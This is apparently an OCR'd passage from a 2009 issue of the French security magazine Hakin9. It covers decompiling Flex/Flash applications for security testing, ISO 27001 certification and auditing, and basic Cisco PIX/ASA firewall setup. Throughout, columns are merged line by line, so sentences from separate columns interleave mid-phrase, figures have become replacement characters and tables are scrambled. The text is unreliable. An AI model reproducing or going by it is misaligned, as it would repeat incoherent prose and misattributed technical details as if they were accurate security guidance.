La décompilation d'applications relatives aux fonctions peuvent être aisément étape permet de croiser les structures
FLEX extraites. Elles donnent des indications sur d'information et les différents appels de
Afin d'avoir le code source d'une application, les instructions compilées. Autre intérêt de ce l'application. Elle donne des informations
on peut envisager la rétro-ingénierie. procédé : l'automatisation. En effet, le testeur sur les variables initialisées de manière
peut concevoir un globale ou locale. On obtient également
P U B L I C I T É autre programme une définition des divers appels de
pour analyser le fonctions au cours de l'exécution et la
code à la recherche manière dont le système y fait face. Le but
des fonctions non est de visualiser l'ensemble des objets
sécurisées. Ce utilisés et d'en connaître plus sur le pattern
processus favorise STACK. En règle générale, l'actionscript
l'analyse du code utilisé est désassemblé en fonctions au
de l'application. Si niveau du système pour avoir une bonne
un fichier flash est vision d'ensemble. Une analyse bas niveau
décompilé en code est réalisée grâce au désassemblage.
source, il peut alors Elle permet également de tracer les
être soumis à un fonctions et leurs effets sur le système.
moteur d'analyse. Les gestionnaires d'erreurs et de code
Celui-ci cherchera peuvent aussi être tracés et testés. Pour
les extraits de code comprendre comment se lance une
vulnérables (cf. application FLEX, il faut bien comprendre la
Figure 9). phase de désassemblage.
Voici quelques Pour effectuer un test de qualité, il faut
étapes clés pour effectuer un désassemblage. Pour une
la phase de analyse approfondie, l'application FLEX
décompilation. Afin devrait être testée contre les méthodes
de décompiler une mentionnées ci-dessus.
application FLEX,
on utilise un outil • Effectuez la même opération sur les
de décompilation MACROS des applications FLEX. Si
appelé FLARE [http:// nécessaire : supprimer, remplacer ou
www.nowrap.de/ changer les fichiers SWF.
flare.html]. Exécution : • Toujours vérifier les opérations de
c:\audti\flash _ compression/décompression qui se
audit> flare basent sur les besoins de l'application.
<swf file> Cette technique est efficace, car même
TEST DES APPLICATIONS RIA
1/2009 HAKIN9 41
DOSSIER
malwares. Le paramètre temps de diverses
�����������
instructions est également vérifié afin de
��������� déterminer le temps nécessaire à la fin
����������� d'un processus. Le temps est un facteur
������������� ����������
��� dépendant directement de l'utilisation du
�������� ������������
��� système, en règle générale il faut surveiller le
����������� ����������� �������� temps d'exécution (cf. Figure 13 et Listing 5).
��������
Lorsqu'une application est profilée : cf.
Figure 14.
�������
Cette approche permet d'obtenir des
��������������
������������� informations sur le temps d'exécution
des instructions. On peut comprendre
����� comment est utilisé la RAM et la puissance
��������
requise par le processeur.
������
����
��� �������������������������
���� ���� ��������������������
������������������
����������
��������������������������������������������������
Figure 12. Dumping des paramètres des
fichiers SWF
42 HAKIN9 1/2009
TEST DES APPLICATIONS RIA
composants ont une sécurité de base. On va généré, on peut l'analyser pour voir s'il y a sein du navigateur. Ce problème se produit
dans un premier temps analyser les fichiers des vulnérabilités propres aux objets ou lorsque une version spécifique d'un plugin
SWF pour trouver des failles de sécurité des morceaux de code non sécurisés n'est pas lancée. Généralement la création
ou des vulnérabilités dans des morceaux dans l'application FLEX. Ci-dessous, une d'add-ons se fait grâce à des librairies ATL
de code. Il n'est pas évident d'analyser la présentation du modèle (Figure 15). (acronyme de Active Template Library). Elle
structure compilée d'une application binaire Il faut d'abord décompiler l'application permet de créer des objets COM grâce
et de trouver des vulnérabilités relatifs aux Flex. Le processus de décompilation est aux classes en C++. Il faut envisager la
objets. Le navigateur possède un plugin la base de tout travail d'analyse. Le code création de contrôles Active X 64 bits.
flash pour jouer directement les animations. source peut être analysé avec l'aide des DEP est activé pour lancer des
L'analyse et l'exécution se fait grâce au plugin signatures de codes vulnérables ou des processus par un mécanisme de
et l'interface de LiveConnect. morceaux de code. Objets non sécurisés protection, ce qui réduit l'utilisation de la
L'analyse du code porte également à analyser pendant la décompilation des mémoire. Cette fonctionnalité nécessite
sur l'HTML. Cela est important puisque Fichiers SWF (Listing 7). une version actualisée du Contrôle ActiveX
la plupart des fonctionnalités des et des librairies ATL. Certains plugins
applications Flex sont prises en compte Annexe telles que le flash player d'Adobe doivent
par l'intégration du HTML. Il faut d'abord Un élément important à vérifier est la être mis à jour. Les derniers add-ons ont
décompiler les applications flex au format compatibilité de flash player avec vos été améliorés et prennent en compte la
FLR [avec l'outil flare], après cette phase on navigateurs. On a pu remarquer des fonctionnalité DEP. Du côté client (en terme
obtient le code source. Une fois le fichier problèmes lorsqu'un DEP était activé au de sécurité), ce problème n'est pas géré
proprement. La sécurité des applications
FLEX, exécutée sur flash player par les
navigateurs doit être testée en amont pour
ne pas se retrouver avec des exceptions
non gérées. Le plugin est indispensable
pour les librairies standard ATL par rapport
à des compatibilités d'exécution.
Par exemple : avoir l'ancienne
version du plugin de flash player et vous
pouvez être sûr que votre navigateur
plantera. Il faut réaliser une vérification de
compatibilité. Pour ce faire, il faut vérifier les
choses suivantes :
1/2009 HAKIN9 43
FOCUS
KARIM HAMDAOUI
ISO 27001
Degré de difficulté
L
a norme ISO/IEC 27001 et été publiée en possible de se faire certifier ISO 27001. Les critères
octobre 2005 par l´International Organisation de mesure concrets proposés par la norme
for Standardisation (ISO) en lien avec est et les 133 mesures de sécurité couvrent tous les
l´International Electrotechnical Commission (IEC), aspects techniques, organisationnels, humains
dédiée au domaine de la sécurité de l'information. et juridiques.
Elle concerne plus précisément la définition et la
mise en place d'un Système de Management Cette norme est-elle populaire ?
de la Sécurité de l'Information, appelé également Certains pays, comme le Japon ou le Royaume-
SMSI (ISMS : Information Security Management Uni ont mis en place des schémas de certification
System), selon le modèle de qualité PDCA (Plan sécurité depuis la fin des années 90. Selon
Do Check Act) afin d'assurer une amélioration l’international Register of ISMS Certificates (http://
continue de la sécurité d'information. www.iso27001certificates.com), environ 4848
ISO 27001 s´inspire du standard BS 7799 sociétés sont certifiées dans le monde. À l’heure
de l´organisme britannique de certification BSI, actuelle, seule 16 sociétés dans le monde
qui concernait la Disponibilité, la Confidentialité francophone sont certifiées ISO 27001 avec deux
et I´intégrité des informations de l’organisme sociétés certifiés au Maroc et une dizaine en
(appelé dans notre jargon DIC), elle comprend une France alors que le Japon en compte déjà 2789,
approche globale de la sécurité de l´information l’inde 427, la Grande Bretagne 378 et la Taiwan 187.
et de l´infrastructure en garantissant la protection Après des débuts hésitants, les certifications
contre la perte, le détournement ou la falsification qualité ISO 9000 sont entrées dans les mœurs
des informations et accès permanent aux des entreprises. Les certifications ISO 27000
utilisateurs autorisés. Il implique également des prendront certainement le même chemin. ISO
audits de surveillance et le suivi des performances 27001 est surtout populaire à l'étranger, dans la
des fournisseurs, ainsi qu´une évaluation des francophonie, ce n’est pas le cas. Si ce certificat
CET ARTICLE risques et de l´efficacité des contrôles. reste peu connu ou reconnu dans le monde
EXPLIQUE L'ISO 27001 définit l'ensemble des tests francophone, ce n’est pas le cas de ceux qui
La Norme ISO27001 : nouveau et contrôles à effectuer pour s'assurer du bon veulent faire la différence, comme c’est le cas de
challenge et un guide à suivre. respect d'ISO 27002 (anciennement ISO/CEI l'Inde ou certains pays de l'Est (ex. Hongrie avec 74
17799). Cette dernière est l’annexe A d’ISO 27001 certificats, république tchèque ou la Pologne) qui
CE QU'IL FAUT
SAVOIR est composée de 133 mesures de sécurité œuvre pour le développement de l’offshoring
ISO27001, entreprise / individu
classées dans 11 chapîtres de sécurité. Comme et d’avoir une crédibilité envers leurs partenaires.
se faire certifier pour les normes ISO 9001 et ISO 14001, il est La norme certifiante ISO 27001 va conduire
44 HAKIN9 1/2009
ISO 27001
à un processus de sécurité ayant une gestion ISO et donc d´offrir un service de de protéger et de sécuriser leur capital
forte visibilité internationale. La certification premier ordre aux parties intéressées informationnel de celui de leurs clients,
ISO 27001 peut devenir un impératif (clients, collaborateurs, fournisseurs, ...). En partenaires, collaborateurs...
dans des appels d'offres. Au Maroc, ISO outre, ISO 27001 permet de développer la Cette certification ISO 27001 est un
27001 connaît un essor depuis 2008. compétitivité des entreprises sur le marché, moyen essentiel pour que les entreprises
Pour les entreprises cotées en bourse aux qui connaît une forte demande pour les prouvent leur implication dans ce domaine.
ETATS-UNIS, cette norme est utilisée pour services informatiques et l´infogérance. Cette norme est destinées à tout
mettre en œuvre un cadre de conformité Cette nouvelle certification aide à placer les organisme, parce qu’on peut bien certifier
à la loi Sarbanes-Oxley. Dans le secteur entreprises en position de force pour saisir un grand compte qu'une petite, moyenne
de la santé, elle vient répondre aux pré les opportunités sur le marché. ou micro entreprise. L’important est d’arrêter
requis de Health Insurance Portability and le scope de la certification qui peut être
Accountability Act (HIPAA). Quel est son intérêt ? une filiale, un site, un processus (une unité
Dans l’administration publique au Les entreprises certifiées ISO 27001 organisationnelle par exemple). La mise
Maroc, ISO 27001 et ISO 27002 est une montrent qu’elles ont appréhendé la en œuvre de solutions de sécurité peut
référence de bonnes pratiques en matière dimension mondiale du problème de la engendrer des économies substantielles
de sécurité de l’information. sécurité de l’information. Les entreprises et contribuer à améliorer la productivité de
doivent être conscientes de la nécessité l'entreprise.
Jusqu'à quel point les
entreprises s’intéressent Établissement du contexte
à cette norme ? (échelles des dysfonctionnements,
critères acceptation, niveaux de gravité)
Nous ne pouvons pas répondre
exhaustivement mais de plus en plus
d’entreprise s'intéresse à cette norme, dans Identification des risques
le monde francophone nous sommes (identification des actifs, menaces,
vulnérabilités et des impacts)
en retard mais cela devrait s'arranger
au fil des mois, même pour le moment,
risques
les entreprises ne jugent pas encore
risques
des
de sécurité de l'information ou réalisent des
aux
réestilation
la très grande majorité des Responsables
relative
Oui
failles dans la sécurité de l’information
pouvant provoquer une escalade de pertes
financières et désorganiser leurs opérations. Traitement des risques
(sélection des mesures de sécurité
Cette certification va tout à fait dans ou évitement, transfert,...)
le sens de la volonté des entreprises
en apportant une fiabilité optimale aux
clients, investisseurs, collaborateurs Risques Non
et partenaires. Si elle ne révolutionne résiduels
acceptable
pas fondamentalement les processus Oui
internes et permis de les rationaliser
significativement. ISO 27001 étant
Acceptation du portefeuille
compatible avec d´autres normes que des risques résiduels
la majorité des entreprises appliquent
déjà, comme ISO 9000 et ISO 14000,
Synthèse du processus
ces entreprises peuvent développer un de management des risques
(selon ISO 27005)
système de gestion intégrant efficacement
les exigences de chaque référentiel de Figura 1. Voici la démarche proposée par l'ISO 27005
1/2009 HAKIN9 45
FOCUS
Les thèmes abordés par et de la revue de direction, ou d'autres mis en œuvre pour répondre aux exigences
l'ISO 27001 informations pertinentes, pour une identifiées par une évaluation du risque
ISO27001 adopte le modèle de processus amélioration continue dudit système. selon différente méthode (ISO27005*,
Planifier-Déployer-Contrôler-Agir (PDCA) Octave, Ebios, Mehari, …). La présente
ou roue de Deming qui est appliqué à la Une organisation qui demande Norme internationale est prévue comme
structure de tous les processus d’un SMSI. la certification doit se soumettre base commune et ligne directrice pratique
Ce dernier utilise comme élément d'entrée obligatoirement à toutes les clauses (4 à 8) pour élaborer les référentiels de sécurité
les exigences relatives à la sécurité de et déclarer les contrôles applicables dans de l’organisation, mettre en œuvre les
l'information et les attentes des parties la Dda (Déclaration d'applicabilité) ou SOA pratiques efficaces de la gestion de la
intéressées (Client, partenaire, fournisseur, (Statement of applicability). sécurité, et participer au développement
collaborateur, investisseur), par les actions ISO27002 est l'Annexe A de la norme de la confiance dans les activités entre
et processus nécessaires, les résultats ISO 27001, elle contient une liste complète organismes. Voir Tableau 1
de sécurité de l’information satisfont ces d'objectifs de sécurité et des mesures de Au moins 25 mesures de contrôle de
exigences et ces attentes. sécurité qui se sont révélés communément l’annexe A ont un caractère obligatoire car
Management du système de sécurité : appropriés aux organismes. Les elles sont liées avec les clauses 4 a 8 de la
utilisateurs de la présente Norme norme ISO 27001 qui sont des pré-requis
• Planifier (établissement du SMSI): Établir internationale doivent se reporter à l'Annexe de la norme. Par exemple, une organisation
la politique, les objectifs, les processus A comme point de départ de sélection ne peut pas exclure la mise en œuvre d’un
et les procédures du SMSI relatives à la des mesures de sécurité, afin de s'assurer programme de sensibilisation et indiquer la
gestion du risque et à l'amélioration de qu'aucune option importante de sécurité clause A.8.2.2. non applicable car la clause
la sécurité de l'information de manière n'est négligée. 5.2.2. précise que la sensibilisation est une
à fournir des résultats conformes aux exigence obligatoire.
politiques et aux objectifs globaux de ISO27002 : Objectifs de contrôle
l'organisme. et contrôles ISO27005
• Déployer (mise en œuvre et Révisée en 2005, ISO 17799 est un guide ISO (International Standard Organisation)
fonctionnement du SMSI): Mettre de bonnes pratiques pour le management a publié, le 4 juin 2008, la première norme
en œuvre et exploiter la politique, de la sécurité de l’information. En 2007, de gestion des risques de la Sécurité
les mesures, les processus et les elle devient ISO 27002 afin d’être intégrée des Systèmes d'Information : l'ISO 27005:
procédures du SMSI. à la famille ISO 27000. Cette Norme 2008.
• Contrôler (surveillance et réexamen internationale établit des lignes directrices La norme ISO 27005 propose une
du SMSI): Évaluer et, le cas échéant, et des principes généraux pour préparer, méthodologie de gestion de risques
mesurer les performances des mettre en œuvre, entretenir et améliorer la conforme à la norme ISO 27001, tout en
processus par rapport à la politique, gestion de la sécurité de l’information au étant utilisable de manière indépendante.
aux objectifs et à l'expérience pratique sein d’un organisme. Les objectifs tracés Elle applique à la gestion des risques le
et rendre compte des résultats à la dans la présente Norme internationale cycle d'amélioration continue PDCA (Plan,
direction pour réexamen. fournissent une orientation générale sur Do, Check, Act) utilisé dans toutes les
• Agir (mise à jour et amélioration les buts acceptés communément dans la normes de systèmes de management.
du SMSI): Entreprendre les actions gestion de la sécurité de l’information. La norme ISO 27005 est un guide
correctives et préventives, sur la base Les objectifs et mesures décrits dans expliquant la démarche de gestion
des résultats de l'audit interne du SMSI la Norme ISO27002 sont destinés à être des risques pesant sur les Systèmes
d'Information. Des méthodes de gestion
Tableau 1. Onze sections de la Norme ISO27002
des risques existent dans chaque pays;
A5 La politique de sécurité nous pouvons citer EBIOS de la DCSSI,
A6 L’organisation de la sécurité de l’information MEHARI et MARION du CLUSIF pour la
France ou encore CRAMM pour l'Angleterre.
A7 La gestion des actifs
L'ISO 27005 est en réalité une synthèse de
A8 La sécurité des ressources humaines toutes ces méthodes.
A9 La sécurité physique et environnementale L'ISO 27005 n'est pas une méthode,
A 10 La gestion des communications et des opérations mais celle-ci décrit les grandes étapes
classiques de la gestion des risques des
A 11 Le contrôle d’accès
Systèmes d'Information. En l'occurrence, elle
A 12 L’acquisition, le développement et l’entretien des systèmes d’information définit :
A 13 La gestion des incidents de sécurité de l’information
• L'identification et la classification des
A 14 La gestion de la continuité des affaires
actifs,
A 15 La conformité • L'identification des menaces potentielles,
46 HAKIN9 1/2009
ISO 27001
• Leurs probabilités de survenance, En cas d’échec, un étudiant peut se • Participation à des forums et à des
• L'évaluation de la gravité des risques en réinscrire à un examen, sans fraist. De plus, associations professionnelles
fonction des valeurs des actifs, il peut se réinscrire gratuitement à une • Formations
• Le choix de traitement des risques... deuxième séance de formation du même
cours. Les auditeurs doivent respecter les
Préparation à l'examen principes fondamentaux suivants :
ISO27001 Conditions d'éthique L'indépendance :
Les participants sont évalués de deux et d'expérience
manières : La certification RABQSA ou IRCA peut • C’est la base de l'impartialité et de
aider à maximiser le potentiel de carrière l'objectivité de l'audit ainsi que des
• Une évaluation en continu qui prend en et à atteindre les objectifs professionnels. conclusions de l’audit. L'indépendance
compte les résultats des exercices Si un certifié postule pour un emploi, est la liberté face à l'interférence.
et des devoirs. la certification fournit la preuve de la C'est l'assurance de l'impartialité
• Un examen final (à l’écrit). compétence et des qualifications. et de l’objectivité de l’audit. Quand
La certification RABQSA ou IRCA est la les auditeurs sont indépendants, ils
Les étudiants doivent réussir chacun les reconnaissance formelle des compétences devraient donner des jugements
éléments du cours. personnelles dans l’amélioration de la impartiaux. L'indépendance des
Pour réussir, un étudiant doit réussir performance des organisations en termes auditeurs est également garantie
l'évaluation continue et l'examen final, d’efficacité, d’efficience et de compétitivité. par l‘indépendance de l’organisme
et compléter tous les modules du cours. D’après les enquêtes annuelles de certificateur, non par l'audité, et le
Les étudiants doivent manifester des salaire publiées par le magazine Quality respect du code de conduite de l’IRCA
niveaux de performance acceptables dans Progress, les auditeurs certifiés de ou du RABQSA (révélation de tous
l’étude des objectifs présentés au cours. systèmes de management ont un salaire rapports avec l'audité, non acception de
On jugera leur performance sur la base des moyen considérablement plus élevé que cadeaux…).
exercices et des résultats des devoirs, des leurs homologues non certifiés. Un accord
discussions, de leur participation et de leur bilatéral avec l’IRCA, Londres, Milwaukee Indépendance d’esprit :
rétroaction. et Sydney, 1 juin 2006
Pour ISO 27001 Lead Auditor, les l’IRCA et la RABQSA International ont • L'état d’esprit qui permet l'expression
participants seront évalués selon trois unités signés un accord bilatéral qui permet d'une conclusion sans qu’elle soit
de compétences: la reconnaissance mutuelle de leurs affectée par des influences pouvant
certifications de formations. Les deux compromettre le jugement professionnel.
• Sécurité de l’information (IS) organismes s’engagent à effectuer Cet état d’esprit permet à un individu
• Techniques d’audits (AU) une série d’évaluations qui permettra d'agir avec l'intégrité, l'objectivité et le
• Techniques d’auditeur principal (TL) l’identification des formations qui pourront scepticisme professionnel.
être certifiées et acceptées par les deux
Pour ISO 27001 Lead Implementer, Les organismes. Ces formations et celles L’apparence d’indépendance :
participants seront évalués selon trois à venir seront ajoutées à une liste de
domaines de compétences : certificats acceptés mutuellement qui • Eviter toute action (fait ou circonstance)
sera rendu public. ISO27001 est reconnu qui serait perçue par une tierce
• Sécurité de l’information (IS) mutuellement. partie raisonnable et informée (ayant
• Amélioration des organisations (OI) Une amélioration professionnelle connaissance de toute l’information
• Conseil a la direction (MC) continue est une exigence de l’IRCA et du appropriée) comme un manque
RABQSA, cela est nécessaire pour garder d’intégrité, d’objectivité ou de scepticisme
Le certificat delivré est valide pour 3 ans la certification. professionnel de la part d’une
à partir du dernier jour de la formation. Ce CPE Continual Professional Education organisation ou d’un de ses membres.
délai ne tient pas compte de la date de est une amélioration continuelle des
l’examen final et permet à l’étudiant de se compétences, des connaissances et des Conclusion
faire enregistrer en tant qu’auditeur certifié capacités en audit. La mise en œuvre du SMSI engendrera des
auprès du RABQSA ou IRCA. L’auditeur doit démontrer qu’il a suivi économies substantielles et contribuera
En cas d’échec au passage de au moins 45 heures de CPE lors des à améliorer la productivité de l'entreprise.
l’examen ou de l’évaluation continue (mais 3 dernières années. Les heures de CPE
ayant satisfait la condition de présence), doivent se rapporter à l’audit et au SMSI.
l’étudiant recevra une attestation de Différentes façons de faire existent : Karim Hamdaoui
Directeur Général du Cabinet LMPS Consulting
présence. Cette attestation n’est pas Expert en sécurité de l’information (ISO 27001 Lead
Auditor IRCA : 01194481, ISO 27001 Lead Implementer
acceptée par l'organisme de certification • Recherches & ISO 20000 Lead Implementer). L'auteur peut être
d'auditeur (IRCA, RABQSA). • Rédaction d’articles contacté à l'adresse : contact@lmps-consulting.com
1/2009 HAKIN9 47
PRATIQUE
ALEXANDRE CHAIGNEAU
Débuter
avec un pare feu Cisco
Degré de difficulté
L
e paragraphe situé a la suite pare-feux Cisco. Comme la plupart le savent déjà
correspondant pour moi aux objectifs un pare-feu est un élément logiciel et/ou matériel
de cet ar ticle et devrait peut etre se qui a pour fonction de faire respecter la politique de
trouver dans un cadre au début de l’ar ticle. sécurité du réseau, celle-ci définissant quels sont
En ef fet, l’insérer a cet endroit fait perdre en les types de communication autorisés et interdits.
cohérence.
À propos des pare-feux Cisco
• Pare feu à gestion d'état basée sur le state-of- Chez Cisco, il existe différentes solutions de sécurité,
the-art Adaptive Security Algorithm (ASA), nous allons nous intéresser au PIX/ASA. Tout d'abord,
• Le support de plus de 100 applications il faut savoir que les Pix n'ont pas été conçu à l'origine
prédéfinies, services et protocoles pour des par Cisco. En effet, les PIX furent créées par la société
contrôle d'accès flexible, Network Translation Inc. Cette entreprise a été racheté
• Les fonctions de réseau privé virtuel (VPN) pour par Cisco en 1995. Cisco a néanmoins poursuivi le
les accès distants utilisant les standard IKE / développement des Pix et notamment l'intégration de
IPSec, son système d'exploitation bien connu des amateurs
• Une protection contre plus de 55 différentes de routeurs : l'IOS (Internetwork Operating System). La
attaques de réseau, version la plus répandue de l'IOS sur la gamme des
CET ARTICLE • Le filtrage d'URL pour le trafic sortant. PIX est la version 6.x. Début 2005, Cisco a lancé une
EXPLIQUE...
nouvelle gamme de pare-feux en vue de remplacer
Présentation de la gamme Cisco
PIX et ASA.
Faire connaissance avec les pare-feux Cisco, les les PIX avec du matériel plus puissant et des
différentes manières de configurer son pare-feu, soit fonctionnalités plus poussées. Cette nouvelle gamme
Configurer un Cisco PIX/ASA.
par l'interface graphique, soit par la traditionnelle de produit est la gamme ASA (Adaptive Security
Mettre à jour l'IOS d'un PIX/ASA.
interface en ligne de commande. Réaliser une Appliance). Il existe différentes version de l'IOS destiné
CE QU'IL FAUT configuration de base du système avec une aux PIX et aux ASA :
SAVOIR... interface WAN et une interface LAN. Mettre en
Bonne connaissance des place une connexion VPN entre deux sites. Et enfin • Pre 5.X : antérieure à l'acquisition de Network
protocoles TCP/IP.
comment procéder à la mise à jour de l'IOS afin Translation par Cisco,
Compréhension des d'étendre les possibilités de notre pare-feu. • 5.X et 6.X : premières versions qui font suite
mécanismes des pare-feux.
à la fusion synthaxique avec Cisco IOS,
Compréhension des systèmes
NAT/PAT, DMZ, et RFC 1918. Introduction • 7.X : dernières versions pour les PIX qui
Notion des fonctionnements
Dans cet article nous allons nous intéresser au correspondent à la sortie de la gamme Cisco
VPN IPSec. pare-feu, et plus particulièrement à la famille des ASA. Ces versions contiennent un binaire
48 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO
1/2009 HAKIN9 49
PRATIQUE
List ) : Une Access Control List ou ACL Afin de commencer, nous allons utiliser
est une liste de contrôle sur un pare-feu le câble console pour accéder à la Notes
autorisant ou non une liste d'adresses configuration en ligne de commande
ou de ports. Il existe plusieurs familles (CLI). Pour ce faire, utilisez l'hyperterminal. • [1] Possibilité de créer des pare-feux
virtuels au sein d'un même appareil,
d'ACL : Le paramétrage de l'hyperterminal pour
• [2] http://www.chiark.greenend.org.uk/
accéder à la configuration doit être : ~sgtatham/putty/download.html,
• ACL standard : permet de contrôler • [3] https://tools.cisco.com/SWIFT/
l'adresse de destination avec une IP • Bits par seconde : 9600, Licensing/jsp/formGenerator/
et un masque, • Bits de donnée : 8, Pix3DesMsgDisplay.jsp.
• ACL étendue : permet notamment de • Parité : Aucun,
contrôler l'adresse IP de destination, • Bits d'arrêt : 1, connaître les arguments de la commande
le masque, le type de protocole (TCP, • Contrôle de flux : Aucun. show, vous pouvez faire show ?
UDP, ICMP...), le port source et celui de Comme notre système est fraichement
destination. Une fois raccordé, vous pouvez allumer déballé et allumé, nous n'avons pas grand
le pare-feu et suivre le chargement de chose à visualiser, nous allons donc passer
Configuration avec l'interface en ligne de l'IOS. Une fois le chargement terminé, vous en mode privilégié avec la commande
commande : pouvez vous connectez à l'aide du mot de enable. Par défaut, il n'y a pas de mot de
passe par défaut : cisco. Vous entrerez ainsi passe pour atteindre ce mode. Remarquez
Pré-requis : dans le mode non privilégié dans lequel que le signe # est venu s'ajouter à la fin du
Ordinateur avec port série vous ne pourrez faire que de la consultation prompt afin de visualiser que vous vous
Câble console COM-RJ45 avec la commande show. Afin d'obtenir la trouvez en mode privilégié. Nous pouvons
Logiciel d'émulation (Hyperterminal) liste des commandes disponibles dans ce maintenant effectuer des opérations de
PIX515E avec 16 MB de flash et 64 MB mode, utilisez la commande ? Pour obtenir copie, de visualisation des connexions en
de RAM ou ASA série 5500 de l'aide sur une commande particulière cours ainsi que les opérations permises
(voir figure 2) ajouté le point d'interrogation à la suite de la dans le mode précédent et surtout entrez
Cisco IOS v7.0 ou supérieur commande. Par exemple, si vous souhaitez dans le mode de configuration. Pour ce
faire, tapez configure terminal. Le prompt
Tableau 2. Comparatif des capacités des PIX
va changer de nouveau pour devenir
PIX PIX PIX PIX PIX 535 (config)#. Maintenant rentrons dans le vif du
501 506E 515E 525 sujet et paramétrons notre système. Nous
Nombre de connexion 7500 25 000 130 000 280 500 allons réaliser une configuration simple avec
simultanée 000 000 un réseau interne que nous nommerons
Bande passante 60 100 188 330 1,7 inside et un réseau externe outside. Nous
Mbps Mbps Mbps Mbps Gbps n'utiliserons donc que deux interfaces sur
0 2 25 100 150 notre PIX/ASA. La Figure 3 présente le
Nombre de Vlan MAX schéma réseau de la configuration.
Pour commencer, nous allons attribuer
Context [1] Non Non 5 50 50
à chaque interface son adresse IP et
Nombre de connexion VPN 10 25 2000 2000 2000 configurer l'accès SSH à notre PIX/ASA
simultanée
depuis le LAN. Un show version vous
Version maximum de l'IOS 6.3(x) 6.3(x) 8.x 7.x 7.x affichera la configuration du matériel et du
logiciel de votre système et nous permettra
Tableau 3. Comparatif des licences Restricted et Unrestricted pour les PIX
de trouver le nom des interfaces.
Type de licence Interfaces physique VLANs Contexts Mémoire Failover Nous disposons maintenant de nos
PIX 515E interfaces interne (inside) et externe (outside)
ayant chacune leur adresse IP et masque
Restricted 3 10 Non 64 Non
de sous réseaux configurés. Les niveaux de
Unrestricted 6 25 5 128 Oui sécurité définissent les échanges autorisés
PIX 525 implicitement. En effet, toute communication
d'une interface d'un niveau vers une interface
Restricted 6 25 Non 128 Non
de niveau inférieure est autorisé, l'inverse est
Unrestricted 10 100 50 256 Oui interdit. Ainsi, la communication de l'interface
PIX 535 inside vers l'outside est autorisé. Nous
Restricted 8 50 Non 512 Non aurions pu dans le cas d'utilisation de trois
interfaces ajouter une interface DMZ avec un
Unrestricted 14 150 50 1024 Oui
niveau 50 qui aurait permit depuis celle-ci
50 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO
1/2009 HAKIN9 51
PRATIQUE
de joindre l'outside et d'être jointe depuis Comme l'interface outside sera notre porte toute les étapes à effectuer Listing 1. L'ACL
l'inside. Il est possible de configurer l'accès d'accès à internet, il faut également définir acl-outside va ainsi permettre les réponses
à l'appareil en Telnet de la même manière la route par défaut sur cette interface. aux requêtes ping, l'accès aux différents
que pour le SSH, mais utiliser SSH à la place Les machines du réseau local peuvent serveurs avec pour chacun une adresse
de Telnet est une bonne habitude à prendre. maintenant surfer sur internet, mais nos différente. La commande logging définit
Enfin, nous avons généré les clés RSA serveurs Web, FTP et mail doivent également les options de logs et l'adresse du serveur
nécessaires au fonctionnement de SSH. Il est être joignable depuis le réseau Internet. Pour syslog sur le réseau local. Les commandes
facile de vérifier que l'accès SSH fonctionne ce faire, une translation d'adresse du réseau static permettent d'effectuer la translation
en utilisant un logiciel tel que Putty [2]. externe vers le réseau interne est nécessaire. d'adresse pour joindre les serveurs depuis
Afin d'assurer la sécurité du système, Mais les niveaux de sécurité des interfaces le réseau externe. La commande access-
il est impératif de configurer les mots de ne permettent pas la communication de group indique qu'il faut utiliser l'access
passe. Pour ce faire, utiliser les commande l'outside vers l'inside comme nous l'avons list acl-outside sur l'interface externe. Et
passwd et enable password après être expliqué auparavant. Nous devons donc enfin, la route indique l'adresse afin de
entré en mode configuration configure explicitement fournir les règles nécessaires joindre la passerelle. L'enregistrement de
terminal. Tous les caractères sont pour autoriser ces accès. Pour ce faire, la configuration s'effectue après être sorti
acceptés mais les mots de passe ne doivent l'utilisation d'une ACL s'impose. Nous du mode configuration ((config)#) avec
pas dépasser seize caractères. Le nom de appellerons cette access list acl-outside. Elle la commande exit et retourné en mode
l'appareil doit également être fixé à l'aide de permettra de joindre notre serveur web sur le privilégié (#) avec write memory.
la commande hostname. La configuration port 80, notre serveur ftp sur le port 21 et le Nous disposons maintenant d'un
ne permet cependant pas de joindre le serveur smtp. Reste à réaliser ces quelques appareil en état de fonctionnement avec une
réseau externe depuis les machines du opérations et à vérifier que tout fonctionne. configuration simple de quelques lignes.
réseau interne. En effet, il va falloir réaliser Afin de faciliter la correction d'erreur et de
une translation de port après avoir déclaré le visualiser les messages du système, il est Configuration avec
pool à utiliser. Les commandes global possible d'activer l'affichage dans la console l'interface graphique
et nat permettent de réaliser ces opérations. ainsi que sur un serveur syslog. Détaillons Nous avons vu comment démarrer et
configurer son pare-feu par l'intermédiaire
de la ligne de commande, mais une fois la
configuration initiale effectuée, vous disposez
d'un outil pour configurer votre pare-feu
Cisco ASA 5505
à l'aide d'une interface graphique. En effet,
il exite une interface graphique nommé PDM
(PIX Device Manager) pour les versions
Blue console cable IOS < 7.0 ou depuis l'IOS 7.0 l'outil ADSM
(Adaptive Device Software Manager). Pour
Power supply adapter ce faire, il faut installer la version d'ADSM
correspondant à votre version d'IOS.
Figure 2. ASA5505 fraîchement déballé et ses accessoires Une fois que vous aurez téléchargé les
binaires nécessaires sur le site de Cisco,
vous pourrez les installer sur votre pare-feu.
192.168.1.1 10.1.1.1
Inside Outside
Il est à noter que l'installation de PDM (donc
Gateway
IOS<7.0) nécessitera le câble console afin
Clients
d'entrer en mode de configuration Monitor.
Web Server Internet
192.168.1.4 192.168.1.0/24 10.1.1.0/24 Pour ce qui est des IOS 7 et supérieur, une
Pix Gateway simple copie depuis un serveur tftp sera
Mail Server
192.168.1.15
Router suffisante (Listing 2).
Et voici ! ASDM est maintenant installé
FTP Server
192.168.1.10 (voir Figure 4) et configuré pour fonctionner.
Vous pouvez l'utilisez à partir de votre
Figure 3. Schéma réseau de l’installation de base navigateur à l'adresse : https://ip_lan_firewall
52 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO
1/2009 HAKIN9 53
PRATIQUE
appliqués à la réalisation d'une connexion plusieurs connexions VPN simultanées, pour partie de l'article. La crypto map est ensuite
IPSec (crypto map). Vous pouvez définir savoir combien, référez-vous à la première appliquée à l'interface outside sur laquel les
connexions seront établies.
Pour finir nous définissons la politique
Listing 2. Installation d’ADSM
IKE (isakmp policy) et la clé partagée entre
Installez l'ADSM pour une version 7.2(4) d'IOS les deux ASA pour l'établissement de la
ciscoasa> enable
communication.
Password: ***********
ciscoasa# configure terminal Pour tester la connexion, on peut par
ciscoasa(config)# copy tftp://IP_Serveur_TFTP/asdm-724.bin flash:adsm-724.bin exemple envoyer un ping d'un réseau vers
